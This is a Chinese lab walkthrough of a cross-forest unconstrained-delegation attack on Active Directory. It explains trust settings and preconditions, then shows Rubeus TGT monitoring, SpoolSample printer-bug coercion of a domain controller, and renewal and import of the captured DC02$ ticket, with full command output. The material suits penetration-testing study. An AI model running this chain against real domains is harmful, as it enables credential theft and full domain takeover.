跨林攻击-非约束委派
之前有演示过林内攻击-无约束委派,接下来会展示如何在单向信任的跨林环境中进行非约束委派利用
1. 实验环境
| VM | IP |
|---|---|
| SQL01 (SQL01.inlanefreight.ad) | 10.129.5.253 (DHCP) / 172.16.118.10 (dual interface) |
| DC01 (DC01.inlanefreight.ad) | 172.16.118.3 |
| WS01 (WS01.child.inlanefreight.ad) | 172.16.118.20 |
| DC02 (DC02.logistics.ad) | 172.16.118.252 |
| SQL02 (SQL02.logistics.ad) | 172.16.118.11 |
| DC03 (DC03.megacorp.ad) | 172.16.118.113 |
DC01是inlanefreight.ad域内域控DC02是logistics.ad域内的域控DC03是megacorp.ad域内的域控制。
2. 跨林的非约束委派
每个林都是目录(顶级 Active Directory 容器)的一个独立实例,也是林中所有对象的安全边界。此安全边界定义了管理员的权限范围。通常,安全边界由顶级容器定义,容器外部的任何管理员都无法剥夺容器内部管理员的控制权。除非事先获得林内部管理员的许可,否则林外部的任何管理员都无法控制对林内信息的访问。
自 2019 年 7 月 9 日的更新起,对于新建和现有的林以及外部信任,非约束委派已被禁用。2019年5月和7月的更新已分别阻止了林和外部信任中的 TGT 委派。
若要临时重新启用跨信任的委派,必须手动将 EnableTGTDelegation 标志设置为 “Yes”,但这会使配置恢复到安全性较低的状态。因此,目前只有在显式启用了 EnableTGTDelegation 标志的情况下,这种攻击(不受约束的跨林委派攻击)才具有可行性。
2.1. 利用条件
- 必须在信任上允许
TGT delegation(在 2019 年 7 月更新之前,默认情况下允许跨信托进行 TGT 委托。) - 不得启用
Selective Authentication - 必须配置域之间的双向信任
2.2. 跨林信任身份验证级别
跨林信任的身份验证级别
| 验证级别 | 描述 |
|---|---|
| Forest-wide authentication | 允许受信任林中的主体对信任林的资源进行无限制的身份验证。这是安全性最低的级别,从身份验证角度(而非访问权限角度)完全开放了一个林对另一个林的访问。此级别专用于林间信任。 |
| Domain-wide authentication | 允许受信任域中的主体对信任域的资源进行无限制身份验证。这比全林身份验证更安全,因为它仅允许特定(受信任)域中的用户访问另一个(信任)域中的资源。 |
| Selective authentication | 仅允许受信任域中的特定用户访问信任域中的资源。这是最安全的信任类型,允许管理员严格控制受信任主体的访问权限。为了让“受信任用户”访问“信任资源”,该资源的 DACL 必须包含一个 ACE 权限条目,赋予该用户“允许身份验证”(Allowed-To-Authenticate)扩展权限。 |
- 如果在林边界内建立信任关系(设置了
TRUST_ATTRIBUTE_WITHIN_FOREST标志)则始终使用Forest-Wide Authentication - 如果信任关系跨越林边界并且设置了
TRUST_ATTRIBUTE_CROSS_ORGANIZATION标志,则使用Selective Authentication - 如果信任关系跨越林边界,并且信任被标记为传递(设置了
TRUST_ATTRIBUTE_FOREST_TRANSITIVE标志),则将使用Forest-Wide Authentication
Selective Authentication是一项功能,允许管理员控制来自受信任域的哪些用户或组可以访问信任域中的特定资源。在信任域上启用选择性身份验证后,它会限制可以访问信任域中资源的用户或组,从而降低未经授权访问的可能性。
在跨信任的非约束委派环境中, Selective Authentication 会构成障碍,因为它将身份验证请求的委托限制在特定用户或用户组。由于无约束委托依赖于跨信任 impersonate 用户的能力,启用Selective Authentication可以阻止这种类型的攻击。
2.3. 不受约束的委托有两种攻击场景
- 监听特权用户进行身份验证
- 利用打印机漏洞
2.3.1. 监听特权用户的身份验证
如果 Forest-A 中的域控制器被攻破(该域控制器默认启用了无约束委派),我们有可能从 Forest-B 中的域控制器提取管理员的TGT,然后该管理员可以登录到 Forest-A 的 DC。有了这个 TGT,我们就能够攻破 Forest-B
2.3.2. 利用打印机漏洞
如果没有 user 或 Administrator 从 Forest-B 登录到 Forest-A 中的域控制器,我们还可以利用 Printer bug 强制 Forest-B 中的 DC 向 Forest-A 中的 DC 发起身份验证尝试。这种强制身份验证使我们能够捕获到 Forest-B DC 的计算机帐户 (DC02$) 的 TGT。然后可以利用此TGT 执行 DCSync 攻击
打印机漏洞是 MS-RPRN 协议(打印系统远程协议)中的一个缺陷。该协议定义了客户端和打印服务器之间打印作业处理和打印系统管理的通信。要利用此漏洞,任何域用户都可以使用
RpcOpenPrinter方法连接到假脱机命名管道,并使用RpcRemoteFindFirstPrinterChangeNotificationEx方法,强制服务器通过 SMB 协议向客户端提供的任何主机进行身份验证。
2.4. 案例展示
2.4.1. Rubeus监听内存票据
.\Rubeus.exe monitor /interval:5 /nowrap
2.4.2. 触发打印机漏洞
使用SpoolSample进行触发
PS C:\Tools> .\SpoolSample.exe dc02.logistics.ad dc01.inlanefreight.ad
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\dc02.logistics.ad, CaptureServer: \\dc01.inlanefreight.ad
Attempted printer notification and received an invalid handle. The coerced authentication probably worked!
2.4.3. renew DC02的票据
PS C:\Tools> .\Rubeus.exe monitor /interval:5 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: TGT Monitoring
[*] Monitoring every 5 seconds for new TGTs
...SNIP...
[*] 3/24/2024 8:25:04 PM UTC - Found new TGT:
User : DC02$@LOGISTICS.AD
StartTime : 3/24/2024 11:35:58 AM
EndTime : 3/24/2024 9:35:58 PM
RenewTill : 3/31/2024 11:35:58 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFFDCCBRCgAwIBBaEDAgEWooIEHDCCBBhhggQUMIIEEKADAgEFoQ4bDExPR0lTVElDUy5BRKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMTE9HSVNUSUNTLkFEo4ID1DCCA9CgAwIBEqEDAgECooIDwgSCA76oZ/uHov/bLTKCl1aFHEzeTTa8z5kb9PNh7AJgswqto5AmssLu69EpIy2pvLiYsndNeW5hS5kqSU1Y3uxv2t9FZ4K0uNksidu3BbSouJHZOiK1CFq8/E2eX/h3BDXs2/nLxo8yJuVsNkmAUQt8HmGXDmLeF9q6VwwTZOnYHe7H+wKty5PzfBorCLMT0OcZu+Z80JsD17DeEWAYmGLOf3fJLshMvvGjyjRc45tqNM8jcU/J0zoDxj59EJOfEUZNF6YfZVc8GXU2lABKzaof3xLNgfV5KqGKyHkWOP1dDau//ITsDTe0Hh5ccIAS13z1xo2YxzVE013dHjcwek7jlmnMX5mxXlK/SljTHsL+712+cJmzJo9CN99aYsYN/e1ZQ/EL84E+bhdNKHS0kaWm3Jakad/UAhP6136/Cf73dSDt754bo/m41oifs7zFA8D5KKrDllDFLxG0+rif9pV1/9rPPLVQdHQUCLWsvURLfGjSsxUjKb0yjZxxBC1M7ybj/7ewTLV+CEOkeq15AKP7MMRblhGcfx5ufFbRIz9zEUOhK5DAR3on3JUev+jMVWLLM6ba9kjTEXj1sNt9ZmIdK+hk2SMLKDSkBT34fJGmuyZyq09w8r80eWJqYJoAAtm1hZmc5+yGAul0JgCPyL0ZAJXOQdS+ut8VMe1Tf1P5/W+ZruKI4yNMPYzjLwyZEWaTu3i9ErdqxNQkMsxqWNMCPC/epjhzNWicoM9Lf7+A/ZKAiVfaGh0lpp8+zqKNwTHQSeZEE/2xbtW03/E3Xw87prBGWB19GiFr8j3ZGtSqTbkO/P9EBfYIgVWzfIaR+MczryVsHxBeEEst13prCnL+pZdnLcm9I<SNIP>
成功获取到后进行续期操作
PS C:\Tools> .\Rubeus.exe renew /ticket:doIFFDCCBRCgAwIBBaEDAgEWooIEHDCCBBhhxxxxxxxxxx/ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Renew Ticket
[*] Using domain controller: DC02.LOGISTICS.AD (172.16.210.99)
[*] Building TGS-REQ renewal for: 'LOGISTICS.AD\DC02$'
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFvDCCBbigAwIBBaEDAgEWooIEuDCCBLRhggSwMIIErKADAgEFoRIbEElOTEFORUZSRUlHSFQuQUSi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEElOTEFORUZSRUlHSFQuQUSjggRoMIIEZKADAgESoQMCAQKiggRW
BIIEUuKuCTqqOb27PfL+NC1GZO0dLdk9GbT+Si0JRe7B66YfHuI1AiOgaUfF5oABcA3V8B0pn7Iy0BxY
RPkXKO4iVuTDEqZty+AGMgfBB/r5JzRg2Pe39ezmeGY9QAJPcmZKRQeB6CvpM/fr3YbAjvVQzSjP5gsF
3TomugNyDSbGcNMqgx10Ii2bsC9VHVrTwV0iRBiwpV3DklgM2dswGHiXmpXhp4+0YNG3cfaghPqL2Rg1
<SNIP>
[+] Ticket successfully imported!
PS C:\Tools> klist
Current LogonId is 0:0x47ea4
Cached Tickets: (1)
#0> Client: DC02$ @ LOGISTICS.ADServer: krbtgt/LOGISTICS.AD @ LOGISTICS.AD
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
Start Time: 3/25/2024 13:54:01 (local)
End Time: 3/25/2024 23:54:01 (local)
Renew Time: 4/1/2024 12:22:03 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96



